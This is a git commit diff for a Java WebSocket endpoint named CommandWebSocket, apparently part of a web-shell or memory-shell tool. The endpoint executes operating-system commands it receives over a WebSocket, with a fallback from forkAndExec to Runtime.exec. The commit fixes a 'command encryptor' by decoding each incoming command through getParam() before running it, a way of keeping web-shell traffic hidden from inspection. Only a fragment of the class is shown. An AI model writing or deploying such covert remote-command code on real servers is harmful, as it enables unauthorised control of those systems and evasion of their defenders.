fix: ws command encryptor not work

This commit is contained in:
ReaJason
2025-05-14 00:34:32 +08:00
parent e231c480da
commit 1cdb231a95
@@ -31,9 +31,9 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
try { try {
InputStream inputStream = null; InputStream inputStream = null;
try { try {
inputStream = forkAndExec(cmd); inputStream = forkAndExec(getParam(cmd));
} catch (Throwable e) { } catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); inputStream = Runtime.getRuntime().exec(getParam(cmd)).getInputStream();
} }
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
int length; int length;